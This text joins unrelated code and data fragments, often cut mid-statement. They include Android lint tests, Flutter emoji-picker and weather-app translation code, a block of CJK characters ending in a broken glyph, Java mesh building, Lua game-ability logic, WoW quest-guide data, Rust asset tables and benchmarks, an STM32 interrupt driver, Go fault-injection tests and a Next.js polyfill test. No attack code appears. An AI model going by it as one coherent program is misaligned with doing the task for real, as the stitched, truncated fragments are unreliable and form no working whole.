            |0 errors, 1 warnings
        """.trimMargin(),
      )
  }
}
@file:Suppress("UnstableApiUsage") // We know that Lint APIs aren't final.

package com.vanniktech.lintrules.android

import com.android.tools.lint.checks.infrastructure.TestFiles.xml
import com.android.tools.lint.checks.infrastructure.TestLintTask.lint
import com.android.tools.lint.checks.infrastructure.TestMode
import org.junit.Test

class MissingXmlHeaderDetectorTest {
  @Test fun hasXmlHeader() {
    lint()
      .files(
        xml(
          "res/values/strings.xml",
          """
          <?xml version="1.0" encoding="UTF-8" standalone="no"?>
          <resources/>
          """,
        ).indented(),
      )
      .issues(ISSUE_MISSING_XML_HEADER)
      .run()
      .expectClean()
  }

  @Test fun missingHeader() {
    lint()
      .files(
        xml(
          "res/values/strings.xml",
          """
          <resources/>
          """,
        ).indented(),
      )
      .issues(ISSUE_MISSING_XML_HEADER)
      .skipTestModes(TestMode.SUPPRESSIBLE)
      .run()
      .expect(
        """
          |res/values/strings.xml:1: Warning: Missing an xml header [MissingXmlHeader]
          |<resources/>
          |~~~~~~~~~~~~
          |0 errors, 1 warnings
        """.trimMargin(),
      )
      .expectFixDiffs(
        """
          |Fix for res/values/strings.xml line 0: Add xml header:
          |@@ -1 +1
          |+ <?xml version="1.0" encoding="utf-8"?>
        """.trimMargin(),
      )
  }
}
@file:Suppress("UnstableApiUsage") // We know that Lint APIs aren't final.

package com.vanniktech.lintrules.android

import com.android.tools.lint.checks.infrastructure.TestFiles.java
import com.android.tools.lint.checks.infrastructure.TestLintTask.lint
import org.junit.Test

class WrongTestMethodNameDetectorTest {
  @Test fun methodStartingWithTest() {
    lint()
      .files(
        java(
          """
          package foo;

          public class Something {
            public void testThis() { }
          }
          """,
        ).indented(),


 here.
        if (result == null) {
          return;
        }

        final app =
            (await service.readApp(appId: result.appId)).getLeftOrNull();
        // We should show an error dialog.
        if (app == null) {
          return;
        }

        final view =
            (await service.getView(result.appId, result.id)).getLeftOrNull();
        // As this.
        if (view == null) {
          return;
        }

        editorState.insertPage(app, view);
      },
    );
// ignore_for_file: constant_identifier_names

import 'dart:convert';
import 'dart:io';
import 'dart:math';

import 'package:flutter/material.dart';
import 'package:flutter/services.dart';
import 'package:shared_preferences/shared_preferences.dart';
import 'models/category_models.dart';
import 'config.dart';
import 'default_emoji_picker_view.dart';
import 'models/emoji_model.dart';
import 'emoji_lists.dart' as emoji_list;
import 'emoji_view_state.dart';
import 'models/recent_emoji_model.dart';

/// All the possible categories that [Emoji] can be put into
///
/// All [Category] are shown in the category bar
enum Category {
  /// Searched emojis
  SEARCH,

  /// Recent emojis
  RECENT,

  /// Smiley emojis
  SMILEYS,

  /// Animal emojis
  ANIMALS,

  /// Food emojis
  FOODS,

  /// Activity emojis
  ACTIVITIES,

  /// Travel emojis
  TRAVEL,

  /// Objects emojis
  OBJECTS,

  /// Sumbol emojis
  SYMBOLS,

  /// Flag emojis
  FLAGS,
}

/// Enum to alter the keyboard button style
enum ButtonMode {
  /// Android button style - gives the button a splash color with ripple effect
  MATERIAL,

  /// iOS button style - gives the button a fade out effect when pressed
  CUPERTINO
}

/// Callback function for when emoji is selected
///
/// The function returns the selected [Emoji] as well
/// as the [Category] from which it originated
typedef OnEmojiSelected = void Function(Category category, Emoji emoji);

/// Callback function for backspace button
typedef OnBackspacePressed = void Function();

/// Callback function for custom view
typedef EmojiViewBuilder = Widget Function(Config config, EmojiViewState state);

/// The Emoji Keyboard widget
///
/// This widget displays a grid of [Emoji] sorted by [Category]
/// which the user can horizontally scroll through.
///
/// There is also a bottombar which displays all the possible [Category]
/// and allow the user to quickly switch to that [Category]
class EmojiPicker extends StatefulWidget {
  /// EmojiPicker for flutter
  const EmojiPicker({
    Key? key,
    required this.onEmojiSelected,
    this.onBackspacePressed,
    this.config = const Config(),
    this.customWidget,
  }) : super(key: key);

  /// Custom widget
  final EmojiViewBuilder? customWidget;

  /// The function called when the emoji is selected
  final OnEmojiSelected onEmojiSelected;

  /// The function called when backspace button is pressed
  final OnBackspacePressed? onBackspacePressed;

  /// Config for customizations
  final Config config;

  @override
  EmojiPickerState createState() => EmojiPickerState();
}

class EmojiPickerState extends State<EmojiPicker> {
  static const platform = MethodChannel('emoji_picker_flutter');

  List<CategoryEmoji> categoryEmoji = List.empty(grow


/p>

𠩐 𠩑 𠩒 𠩓 𠩔 𠩕 𠩖 𠩗 𠩘 𠩙 𠩚 𠩛 𠩜 𠩝 𠩞 𠩟

𠩠 𠩡 𠩢 𠩣 𠩤 𠩥 𠩦 𠩧 𠩨 𠩩 𠩪 𠩫 𠩬 𠩭 𠩮 𠩯

𠩰 𠩱 𠩲 𠩳 𠩴 𠩵 𠩶 𠩷 𠩸 𠩹 𠩺 𠩻 𠩼 𠩽 𠩾 𠩿

𠪀 𠪁 𠪂 𠪃 𠪄 𠪅 𠪆 𠪇 𠪈 𠪉 𠪊 𠪋 𠪌 𠪍 𠪎 𠪏

𠪐 𠪑 𠪒 𠪓 𠪔 𠪕 𠪖 𠪗 𠪘 𠪙 𠪚 𠪛 𠪜 𠪝 𠪞 𠪟

𠪠 𠪡 𠪢 𠪣 𠪤 𠪥 𠪦 𠪧 𠪨 𠪩 𠪪 𠪫 𠪬 𠪭 𠪮 𠪯

𠪰 𠪱 𠪲 𠪳 𠪴 𠪵 𠪶 𠪷 𠪸 𠪹 𠪺 𠪻 𠪼 𠪽 𠪾 𠪿

𠫀 𠫁 𠫂 𠫃 𠫄 𠫅 𠫆 𠫇 𠫈 𠫉 𠫊 𠫋 𠫌 𠫍 𠫎 𠫏

𠫐 𠫑 𠫒 𠫓 𠫔 𠫕 𠫖 𠫗 𠫘 𠫙 𠫚 𠫛 𠫜 𠫝 𠫞 𠫟

𠫠 𠫡 𠫢 𠫣 𠫤 𠫥 𠫦 𠫧 𠫨 𠫩 𠫪 𠫫 𠫬 𠫭 𠫮 𠫯

𠫰 𠫱 𠫲 𠫳 𠫴 𠫵 𠫶 𠫷 𠫸 𠫹 𠫺 𠫻 𠫼 𠫽 𠫾 𠫿

𠬀 𠬁 𠬂 𠬃 𠬄 𠬅 𠬆 𠬇 �


s.min(max, MathUtils.TWO_PI);
    }
}
/*
 *   __               .__       .__  ._____.
 * _/  |_  _______  __|__| ____ |  | |__\_ |__   ______
 * \   __\/  _ \  \/  /  |/ ___\|  | |  || __ \ /  ___/
 *  |  | (  <_> >    <|  \  \___|  |_|  || \_\ \\___ \
 *  |__|  \____/__/\_ \__|\___  >____/__||___  /____  >
 *                   \/       \/             \/     \/
 *
 * Copyright (c) 2006-2011 Karsten Schmidt
 *
 * This library is free software; you can redistribute it and/or
 * modify it under the terms of the GNU Lesser General Public
 * License as published by the Free Software Foundation; either
 * version 2.1 of the License, or (at your option) any later version.
 *
 * http://creativecommons.org/licenses/LGPL/2.1/
 *
 * This library is distributed in the hope that it will be useful,
 * but WITHOUT ANY WARRANTY; without even the implied warranty of
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
 * Lesser General Public License for more details.
 *
 * You should have received a copy of the GNU Lesser General Public
 * License along with this library; if not, write to the Free Software
 * Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301, USA
 */

package toxi.geom.mesh;

import toxi.geom.Vec2D;
import toxi.geom.Vec3D;

/**
 * An extensible builder class for {@link TriangleMesh}es based on 3D surface
 * functions using spherical coordinates. In order to create a mesh, you'll need
 * to supply a {@link SurfaceFunction} implementation to the builder.
 */
public class SurfaceMeshBuilder {

    protected SurfaceFunction function;

    public SurfaceMeshBuilder(SurfaceFunction function) {
        this.function = function;
    }

    public Mesh3D createMesh(int res) {
        return createMesh(null, res, 1);
    }

    public Mesh3D createMesh(Mesh3D mesh, int res, float size) {
        return createMesh(mesh, res, size, true);
    }

    public Mesh3D createMesh(Mesh3D mesh, int res, float size, boolean isClosed) {
        if (mesh == null) {
            mesh = new TriangleMesh();
        }
        Vec3D a = new Vec3D();
        Vec3D b = new Vec3D();
        Vec3D pa = new Vec3D(), pb = new Vec3D();
        Vec3D a0 = new Vec3D(), b0 = new Vec3D();
        int phiRes = function.getPhiResolutionLimit(res);
        float phiRange = function.getPhiRange();
        int thetaRes = function.getThetaResolutionLimit(res);
        float thetaRange = function.getThetaRange();
        float pres = 1f / phiRes;
        float tres = 1f / thetaRes;
        float ires = 1f / res;
        Vec2D pauv = new Vec2D();
        Vec2D pbuv = new Vec2D();
        Vec2D auv = new Vec2D();
        Vec2D buv = new Vec2D();
        for (int p = 0; p < phiRes; p++) {
            float phi = p * phiRange * ires;
            float phiNext = (p + 1) * phiRange * ires;
            for (int t = 0; t <= thetaRes; t++) {
                float theta;
                theta = t * thetaRange * ires;
                a = function.computeVertexFor(a, phiNext, theta)
                        .scaleSelf(size);
                auv.set(t * tres, 1 - (p + 1) * pres);
                b = function.computeVertexFor(b, phi, theta).scaleSelf(size);
                buv.set(t * tres, 1 - p * pres);
                if (b.equalsWithTolerance(a, 0.0001f)) {


-- Remove modifier on every finished attack even if its a normal attack
      parent:RemoveModifierByName("modifier_oaa_glaives_of_wisdom_fx")

      -- Change the projectile (if a parent doesn't have modifier_oaa_glaives_of_wisdom_fx)
      parent:ChangeAttackProjectile()
    end
  end

  function modifier_oaa_glaives_of_wisdom:OnAttackLanded(event)
    local parent = self:GetParent()
    local ability = self:GetAbility()
    local attacker = event.attacker
    local target = event.target

    -- Check if attacker exists
    if not attacker or attacker:IsNull() then
      return
    end

    -- Check if attacker has this modifier
    if attacker ~= parent then
      return
    end

    if parent:IsIllusion() then
      return
    end

    -- Check if attacked unit exists
    if not target or target:IsNull() then
      return
    end

    -- Check if attacked entity is an item, rune or something weird
    if target.GetUnitName == nil then
      return
    end

    if self.procRecords[event.record] and ability:CastFilterResultTarget(target) == UF_SUCCESS then
      local bonusDamagePct = ability:GetSpecialValueFor("intellect_damage_pct") / 100

      -- Talent that increases Glaives of Wisdom damage (done through kv)
      --local talent = parent:FindAbilityByName("special_bonus_unique_silencer_3")
      --if talent and talent:GetLevel() > 0 then
        --bonusDamagePct = bonusDamagePct + 10
      --end

      -- Talent that allows Glaives of Wisdom to pierce spell immunity
      local pierce_bkb = false
      --local talent2 = parent:FindAbilityByName("special_bonus_unique_silencer_3_oaa")
      --if talent2 and talent2:GetLevel() > 0 then
        --pierce_bkb = true
      --end

      --if parent:HasScepter() and target:IsSilenced() then
        --bonusDamagePct = bonusDamagePct * ability:GetSpecialValueFor("scepter_damage_multiplier")
      --end
      local silence_on_bounce = 0
      if parent:HasShardOAA() then
        if not self.number_of_attacks then
          self.number_of_attacks = 0
        else
          self.number_of_attacks = self.number_of_attacks + 1
        end

        local number = ability:GetSpecialValueFor("shard_attacks_for_silence")
        if self.number_of_attacks > 0 and (self.number_of_attacks % number == 0) then
          target:AddNewModifier(parent, ability, "modifier_oaa_glaives_shard_silence", {duration = ability:GetSpecialValueFor("shard_silence_duration")})
          silence_on_bounce = 1
        end
      end

      -- Intelligence steal if the target is a real hero (and not a meepo clone or arc warden tempest double)
      if target:IsRealHero() and not target:IsClone() and not target:IsTempestDouble() then
        if pierce_bkb or not target:IsMagicImmune() then
          local intStealDuration = ability:GetSpecialValueFor("int_steal_duration")
          local intStealAmount = ability:GetSpecialValueFor("int_steal")

          -- Shard increase for temporary INT steal
          if parent:HasShardOAA() then
            intStealAmount = intStealAmount + ability:GetSpecialValueFor("shard_int_steal_amount_bonus")
          end

          if intStealAmount ~= 0 and intStealDuration ~= 0 then
            target:AddNewModifier(parent, ability, "modifier_oaa_glaives_debuff_counter", {duration = intStealDuration})
            target:AddNewModifier(parent, ability, "modifier_oaa_glaives_debuff", {duration = int


ia at the beach and challenge her to combat.|CHAT|RANK|2|
C Gaur Icehorn|QID|25259|M|59.37,23.36|N|Speak to Gaur Icehorn at the beach and challenge him to combat.|CHAT|RANK|2|
T Ghislania|QID|25257|M|58.84,23.10|N|To Spiketooth.|RANK|2|
T Griswold Hanniston|QID|25258|M|58.77,23.12|N|To Spiketooth.|RANK|2|
T Gaur Icehorn|QID|25259|M|58.77,23.12|N|To Spiketooth.|RANK|2|
C Skull Rock|QID|25262|M|55.02,9.78|N|Kill and loot the Burning Blade for their Searing Collars|
T Skull Rock|QID|25262|M|56.41,20.05|N|To Margoz.|
A Arnak Fireblade|QID|25263|PRE|25262|M|56.41,20.05|N|From Margoz.|
R Orgrimmar |QID|25263|ACTIVE|25263|N|Head to Orgrimmar|M|45.50,11.43|FLY|OLD|
T Arnak Fireblade|QID|25263|M|58.35,54.18|Z|Cleft of Shadow@Orgrimmar|N|To Neeru Fireblade, in the Cleft of Shadow in Orgrimmar.|
N Azshara |QID|25648|A


: &[(ResId<res_id::TXTR>, [u8; 4], &[u8])] = &[
        (custom_asset_ids::PHAZON_SUIT_TXTR1,         *b"TXTR", include_bytes!("../extra_assets/phazon_suit_texure_1.txtr")),
        (custom_asset_ids::PHAZON_SUIT_TXTR2,         *b"TXTR", include_bytes!("../extra_assets/phazon_suit_texure_2.txtr")),
        (custom_asset_ids::NOTHING_TXTR,              *b"TXTR", include_bytes!("../extra_assets/nothing_texture.txtr")),
        (custom_asset_ids::SHINY_MISSILE_TXTR0,       *b"TXTR", include_bytes!("../extra_assets/shiny-missile0.txtr")),
        (custom_asset_ids::SHINY_MISSILE_TXTR1,       *b"TXTR", include_bytes!("../extra_assets/shiny-missile1.txtr")),
        (custom_asset_ids::SHINY_MISSILE_TXTR2,       *b"TXTR", include_bytes!("../extra_assets/shiny-missile2.txtr")),
        (custom_asset_ids::AI_DOOR_TXTR,              *b"TXTR", include_bytes!("../extra_assets/holorim_ai.txtr")),
        (custom_asset_ids::MORPH_BALL_BOMB_DOOR_TXTR, *b"TXTR", include_bytes!("../extra_assets/holorim_bombs.txtr")),
        (custom_asset_ids::POWER_BOMB_DOOR_TXTR,      *b"TXTR", include_bytes!("../extra_assets/holorim_powerbomb.txtr")),
        (custom_asset_ids::SUPER_MISSILE_DOOR_TXTR,   *b"TXTR", include_bytes!("../extra_assets/holorim_super.txtr")),
        (custom_asset_ids::WAVEBUSTER_DOOR_TXTR,      *b"TXTR", include_bytes!("../extra_assets/holorim_wavebuster.txtr")),
        (custom_asset_ids::ICESPREADER_DOOR_TXTR,     *b"TXTR", include_bytes!("../extra_assets/holorim_icespreader.txtr")),
        (custom_asset_ids::FLAMETHROWER_DOOR_TXTR,    *b"TXTR", include_bytes!("../extra_assets/holorim_flamethrower.txtr")),
    ];

    extern_assets.iter().map(|&(res, ref fourcc, bytes)| {
        build_resource(res, ResourceKind::Unknown(Reader::new(bytes), fourcc.into()))
    }).collect()
}

// Assets not found in the base game
pub fn custom_assets<'r>(
    resources: &HashMap<(u32, FourCC),
    structs::Resource<'r>>,
    starting_memo: Option<&str>,
) -> Vec<Resource<'r>>
{
    // External assets
    let mut assets = extern_assets();

    // Custom pickup model assets
    assets.extend_from_slice(&create_suit_icon_cmdl_and_ancs(
        resources,
        custom_asset_ids::NOTHING_CMDL,
        custom_asset_ids::NOTHING_ANCS,
        custom_asset_ids::NOTHING_TXTR,
        custom_asset_ids::PHAZON_SUIT_TXTR2,
    ));
    assets.extend_from_slice(&create_suit_icon_cmdl_and_ancs(
        resources,
        custom_asset_ids::PHAZON_SUIT_CMDL,
        custom_asset_ids::PHAZON_SUIT_ANCS,
        custom_asset_ids::PHAZON_SUIT_TXTR1,
        custom_asset_ids::PHAZON_SUIT_TXTR2,
    ));
    assets.extend_from_slice(&create_item_scan_strg_pair(
        custom_asset_ids::PHAZON_SUIT_SCAN,
        custom_asset_ids::PHAZON_SUIT_STRG,
        "Phazon Suit\


过去一年公司销售额的变化趋势，并预测未来三个月的销售额。      |
| 翻译服务 | 将以下英文句子翻译成中文：“The quick brown fox jumps over the lazy dog.” |
| 编辑工作 | 请修改以下文章中的语法错误和拼写错误：“尽管他们是好朋友，但他们没有共同之处。” |
| 人物描述 | 描述一位身材高大、留着长发并戴着眼镜的男性。                |
| 情感分析 | 分析以下评论：“这个电影真的很棒！”中所表达的情感。           |
| 产品介绍 | 请用一段话简要介绍你现在使用的手机品牌和型号。                  |
| 新闻报道 | 以“地震”为主题，撰写一篇100字左右的新闻报道。               |
| 推荐系统 | 基于用户过去的购买历史，推荐给他们下一个要购买的商品。        |
| 分类 | 请问下列句子中哪些属于陈述句：1. 我喜欢吃汉堡包。2. 你可以过来一下吗？3. 天空为什么是蓝色的？4. 明天放假了。 |
| 命名实体识别 | 在以下句子中，请找出所有地名：我最喜欢去的地方是东京，每次到日本我都会去那里。 |
| 生成 | 请用三句话描述一个贵族舞会的场景。 |
| 推理 | 如果今天是周六，那么明天是星期几？ |
| 简化语言 | 把“这个班上只有学霸”这句话换成更简单易懂的表达方式。 |
| 对比 | “鲍勃喜欢吃巧克力，而汤姆则喜欢吃薯片。”请问这两个人在口味上有什么不同？ |
| 编辑 | 请把下面这段话中的“开心”替换成一个近义词：“看到小猫玩耍的样子真是太让人开心了！” |
| 概括 | 请用一句话概括《红楼梦》的故事情节。 |
| 解释 | 请解释什么是太阳系。 |
| 联想 | 请用一句话形容月亮的美丽之处。 |
|自然语言处理|自然语言处理有哪些应用场景？|
|电影推


    background-color: rgba(0, 123, 255, 0.7);
    color: #fff;
}
.dx-menu-item-expanded {
    color: #212529;
    background-color: rgba(0, 0, 0, 0.075);
}
.dx-menu-item.dx-state-focused,
.dx-menu-item.dx-state-active,
.dx-menu-item-expanded {
    outline: none;
}
.dx-menu-base {
    color: #212529;
    font-weight: normal;
    font-size: 12px;
    font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, "Helvetica Neue", Arial, sans-serif, "Apple Color Emoji", "Segoe UI Emoji", "Segoe UI Symbol", "Noto Color Emoji";
    line-height: 1.33334;
}
.dx-menu-base input,
.dx-menu-base textarea {
    font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, "Helvetica Neue", Arial, sans-serif, "Apple Color Emoji", "Segoe UI Emoji", "Segoe UI Symbol", "Noto Color Emoji";
    line-height: 1.33334;
}
.dx-menu-base.dx-state-focused {
    outline: none;
}
.dx-menu-base .dx-icon {
    width: 14px;
    height: 14px;
    background-position: 0px 0px;
    -webkit-background-size: 14px 14px;
    -moz-background-size: 14px 14px;
    background-size: 14px 14px;
    padding: 0px;
    font-size: 14px;
    text-align: center;
    line-height: 14px;
}
.dx-menu-base .dx-menu-item-content {
    padding: 1px 3px 5px;
}
.dx-menu-base .dx-menu-item-content .dx-menu-item-text {
    padding: 0 23px 3px 17px;
}
.dx-menu-base .dx-menu-item-content .dx-menu-item-popout {
    min-width: 7px;
    min-height: 7px;
}
.dx-menu-base.dx-rtl .dx-menu-item-content .dx-menu-item-text {
    padding: 0 17px 3px 23px;
}
.dx-menu-base.dx-rtl .dx-menu-item-content .dx-icon {
    margin-left: auto;
    margin-right: auto;
}
.dx-menu-base.dx-rtl .dx-menu-item-content .dx-menu-item-popout-container {
    margin-left: 0;
    margin-right: auto;
}
.dx-menu-base.dx-rtl .dx-menu-item-content .dx-menu-item-popout-container .dx-menu-item-popout {
    -moz-transform: scaleX(-1);
    -o-transform: scaleX(-1);
    -webkit-transform: scaleX(-1);
    transform: scaleX(-1);
}
.dx-menu-base.dx-rtl .dx-menu-item-has-text .dx-icon {
    margin-left: -14px;
}
.dx-context-menu-container-border {
    background-color: transparent;
    border: 1px solid #dee2e6;
    -webkit-box-shadow: 0px 1px 1px rgba(0, 0, 0, 0.15);
    -moz-box-shadow: 0px 1px 1px rgba(0, 0, 0, 0.15);
    box-shadow: 0px 1px 1px rgba(0, 0, 0, 0.15);
}
.dx-context-menu-content-delimiter {
    background-color: #fff;
}
.dx-menu {
    c


n 0..$n {
                    t.insert(i, i);
                }

                b.iter(|| for i in 0..$n {
                    test::black_box(t.get(&i));
                })
            }
        }
    }

    bench_search_seq!(bench_search_art_seq_u64, ArtTree, N_SEARCH);
    bench_search_seq!(bench_search_btree_seq_u64, BTreeMap, N_SEARCH);
    bench_search_seq!(bench_search_hmap_seq_u64, HashMap, N_SEARCH);

    macro_rules! bench_search_rnd {
        ($name: ident, $mapty: ident, $n: expr) => {
            #[bench]
            fn $name(b: &mut Bencher) {
                type InsrtType = u64;
                let mut rng = new_rng();
                let mut t = $mapty::new();

                for i in 0..$n {
                    t.insert(rng.gen::<InsrtType>(), i);
                }

                b.iter(|| for i in 0..10 * $n {
                    let k = i % $n;
                    test::black_box(t.get(&k));
                })
            }
        }
    }

    bench_search_rnd!(bench_search_art_rnd_u64, ArtTree, N_SEARCH);
    bench_search_rnd!(bench_search_btree_rnd_u64, BTreeMap, N_SEARCH);
    bench_search_rnd!(bench_search_hmap_rnd_u64, HashMap, N_SEARCH);
}
<reponame>kitzin/stm32l0xx-hal<gh_stars>0
//! External interrupt controller
use crate::bb;
use crate::gpio;
use crate::pac::EXTI;
use crate::rcc;
use crate::rcc::Rcc;

#[cfg(feature = "stm32l0x1")]
use stm32l0::stm32l0x1::SYSCFG as syscfg_comp;
#[cfg(feature = "stm32l0x2")]
use stm32l0::stm32l0x2::SYSCFG_COMP as syscfg_comp;

pub enum Interrupt {
    exti0_1,
    exti2_3,
    exti4_15,
}

pub enum TriggerEdge {
    Rising,
    Falling,
    All,
}

pub trait ExtiExt {
    fn listen(
        &self,
        rcc: &mut Rcc,
        syscfg: &mut syscfg_comp,
        port: gpio::Port,
        line: u8,
        edge: TriggerEdge,
    );
    fn unlisten(&self, line: u8);
    fn pend_interrupt(&self, line: u8);
    fn clear_irq(&self, line: u8);
    fn get_pending_irq(&self) -> u32;
}

pub fn line_is_triggered(reg: u32, line: u8) -> bool {
    (reg & (0b1 << line)) != 0
}

impl ExtiExt for EXTI {
    fn listen(
        &self,
        rcc: &mut Rcc,
        syscfg: &mut syscfg_comp,
        port: gpio::Port,
        line: u8,
        edge: TriggerEdge,
    ) {
        #[cfg(feature = "stm32l0x1")]
        assert!(line < 24);
        #[cfg(feature = "stm32l0x2")]
        assert!(line < 15);

        // ensure that the SYSCFG peripheral is powered on
        // SYSCFG is necessary to change which PORT is routed to EXTIn
        rcc.enable(rcc::Peripheral::SYSCFG);

        // translate port into bit values for EXTIn registers
        let port_bm = match port {
            gpio::Port::PA => 0,
            gpio::Port::PB => 1,
            #[cfg(any(feature = "stm32l0x2"))]


        'cities': '城市',
        'searchMethod': '使用搜尋或地理位置',
        'done': '完成',
      };
}
class DaDk {
  Map<String, String> get messages => {
        'start': 'Kom i gang',
        'description':
            'Vejr app med en opdateret vejrudsigt for hver time, dag og uge for ethvert sted.',
        'name': 'Vejr',
        'name2': 'Praktisk design',
        'name3': 'Kontakt os',
        'description2':
            'Al navigation er designet til at interagere med appen så bekvemt og hurtigt som muligt.',
        'description3':
            'Hvis du støder på problemer, må du meget gerne kontakte os via e-mail eller i app anmeldelserne.',
        'next': 'Næste',
        'search': 'Søg...',
        'loading': 'Henter...',
        'searchCity': 'Find din by',
        'humidity': 'Luftfugtighed',
        'wind': 'Vind',
        'visibility': 'Sigtbarhed',
        'feels': 'Føles som',
        'evaporation': 'Fordampning',
        'precipitation': 'Nedbør',
        'direction': 'Retning',
        'pressure': 'Tryk',
        'rain': 'Regn',
        'clear_sky': 'Skyfri himmel',
        'cloudy': 'Skyet',
        'overcast': 'Overskyet',
        'fog': 'Tåge',
        'drizzle': 'Støv regn',
        'drizzling_rain': 'Frysende støvregn',
        'freezing_rain': 'Frostregn',
        'heavy_rains': 'Regnskyl',
        'snow': 'Sne',
        'thunderstorm': 'Tordenvejr',
        'kph': 'km/h',
        'mph': 'mph',
        'mi': 'mi',
        'km': 'km',
        'inch': 'tommer',
        'mm': 'mm',
        'hPa': 'hPa',
        'settings': 'Inds.',
        'no_inter': 'Ingen Internet',
        'on_inter': 'Tænd for internettet for at få meteorologisk data.',
        'location': 'Placering',
        'no_location':
            'Aktiver placeringer for at få vejrdata for den aktuelle placering.',
        'theme': 'Tema',
        'low': 'Lav',
        'high': 'Høj',
        'normal': 'Normal',
        'lat': 'Breddegrad',
        'lon': 'Længdegrad',
        'create': 'Opret',
        'city': 'By',
        'district': 'Distrikt',
        'noWeatherCard': 'Tilføj en by',
        'deletedCardWeather': 'Slet en by',
        'deletedCardWeatherQuery': 'Er du sikker på at du vil slette denne by?',
        'delete': 'Slet',
        'cancel': 'Annullere',
        'time': 'Tid i byen',
        'validateName': 'Indtast venligst navnet',
        'measurements': 'Foranstaltningssystemet',
        'degrees': 'Grader',
        'celsius': 'Celsius',
        'fahrenheit': 'Fahrenheit',
        'imperial': 'Imperialistisk',
        'metric': 'Metrisk',
        'validateValue': 'Indtast en v


AddFaultPointInDomain(ctx, DomainTest, "a", ":5::", "return", 0, "", false)
	AddFaultPointInDomain(ctx, DomainTest, "aa", ":::", "getcount", 0, "a", false)
	_, _, ok = TriggerFaultInDomain(DomainTest, "a")
	require.Equal(t, true, ok)
	_, _, ok = TriggerFaultInDomain(DomainTest, "a")
	require.Equal(t, true, ok)
	_, _, ok = TriggerFaultInDomain(DomainTest, "a")
	require.Equal(t, true, ok)
	cnt, _, ok = TriggerFaultInDomain(DomainTest, "aa")
	require.Equal(t, true, ok)
	require.Equal(t, int64(3), cnt)

	_, _, ok = TriggerFaultInDomain(DomainTest, "a")
	require.Equal(t, true, ok)
	cnt, _, ok = TriggerFaultInDomain(DomainTest, "aa")
	require.Equal(t, true, ok)
	require.Equal(t, int64(4), cnt)

	_, _, ok = TriggerFaultInDomain(DomainTest, "a")
	require.Equal(t, true, ok)
	cnt, _, ok = TriggerFaultInDomain(DomainTest, "aa")
	require.Equal(t, true, ok)
	require.Equal(t, int64(5), cnt)

	_, _, ok = TriggerFaultInDomain(DomainTest, "a")
	require.Equal(t, false, ok)
	cnt, _, ok = TriggerFaultInDomain(DomainTest, "aa")
	require.Equal(t, true, ok)
	require.Equal(t, int64(6), cnt)

	RemoveFaultPointFromDomain(ctx, DomainTest, "a")
	RemoveFaultPointFromDomain(ctx, DomainTest, "aa")

	AddFaultPointInDomain(ctx, DomainTest, "a", "3:8:2:", "return", 0, "", false)
	AddFaultPointInDomain(ctx, DomainTest, "aa", ":::", "getcount", 0, "a", false)
	_, _, ok = TriggerFaultInDomain(DomainTest, "a")
	require.Equal(t, false, ok)
	cnt, _, ok = TriggerFaultInDomain(DomainTest, "aa")
	require.Equal(t, true, ok)
	require.Equal(t, int64(1), cnt)

	_, _, ok = TriggerFaultInDomain(DomainTest, "a")
	require.Equal(t, false, ok)

	_, _, ok = TriggerFaultInDomain(DomainTest, "a")
	require.Equal(t, true, ok)
	cnt, _, _ = TriggerFaultInDomain(DomainTest, "aa")
	require.Equal(t, int64(3), cnt)

	_, _, ok = TriggerFaultInDomain(DomainTest, "a")
	require.Equal(t, false, ok)
	cnt, _, _ = TriggerFaultInDomain(DomainTest, "aa")
	require.Equal(t, int64(4), cnt)

	// 5
	_, _, ok = TriggerFaultInDomain(DomainTest, "a")
	require.Equal(t, true, ok)

	// 6
	_, _, ok = TriggerFaultInDomain(DomainTest, "a")
	require.Equal(t, false, ok)

	// 7
	_, _, ok = TriggerFaultInDomain(DomainTest, "a")
	require.Equal(t, true, ok)

	//8
	_, _, ok = TriggerFaultInDomain(DomainTest, "a")
	require.Equal(t, false, ok)

	//9
	_, _, ok = TriggerFaultInDomain(DomainTest, "a")
	require.Equal(t, false, ok)

	cnt, _, ok = TriggerFaultInDomain(DomainTest, "aa")
	require.Equal(t, true, ok)
	require.Equal(t, int64(9), cnt)
	DisableDomain(DomainTest)
	DisableDomain(DomainTest)
}
// Copyright The OpenTelemetry Authors
//
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
//
//      http://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by applicable law or


itable.end()

    assert.ok(true)

    assert.ok(!!domain)
    assert.ok(!!http)
    assert.ok(!!https)
    assert.ok(!!punycode)
    assert.ok(!!stringDecoder)
    assert.ok(!!sys.debuglog)
    assert.ok(!!timers.setInterval)
    assert.ok(!!tty.ReadStream)
    assert.ok(!!util.inspect)
    assert.ok(!!zlib.Gzip)

    setImmediate(() => {
      resolve({
        assert: true,
        buffer: Buffer.from('hello world').toString('utf8'),
        constants: constants.E2BIG,
        hash: crypto.createHash('sha256').update('hello world').digest('hex'),
        domain: true,
        os: os.EOL,
        path: path.join('/hello/world', 'test.txt'),
        process: process.title,
        querystring: querystring.stringify({ a: 'b' }),
        stream: closedStream,
        stringDecoder: true,
        sys: true,
        timers: true,
        tty: true,
        util: true,
        http: true,
        https: true,
        vm: vm.runInNewContext('a + 5', { a: 100 }),
        zlib: true,
      })
    })
  })

  return {
    props: {
      result,
    },
  }
}

export default function NodeModules({ result }) {
  return (
    <>
      <pre
        id="node-browser-polyfills"
        dangerouslySetInnerHTML={{ __html: JSON.stringify(result, null, ' ') }}
      ></pre>
    </>
  )
}
import { Writable } from 'stream'
import path from 'path'
import crypto from 'crypto'
import { Buffer } from 'buffer'
import vm from 'vm'
import assert from 'assert'
import constants from 'constants'
import domain from 'domain'
import http from 'http'
import https from 'https'
import os from 'os'
import punycode from 'punycode'
import process from 'process'
import querystring from 'querystring'
import stringDecoder from 'string_decoder'
import sys from 'sys'
import timers from 'timers'
import tty from 'tty'
import util from 'util'
import zlib from 'zlib'
import 'setimmediate'

export async function getServerSideProps() {
  const result = await new Promise((resolve) => {
    let closedStream = false

    const writable = new Writable({
      write(_chunk, _encoding, callback) {
        callback()
      },
    })

    writable.on('finish', () => {
      closedStream = true
    })

    writable.end()

    assert.ok(true)

    assert.ok(!!domain)
    assert.ok(!!http)
    assert.ok(!!https)
    assert.ok(!!punycode)
    assert.ok(!!stringDecoder)
    assert.ok(!!sys.debuglog)
    assert.ok(!!timers.setInterval)
    assert.ok(!!tty.ReadStream)
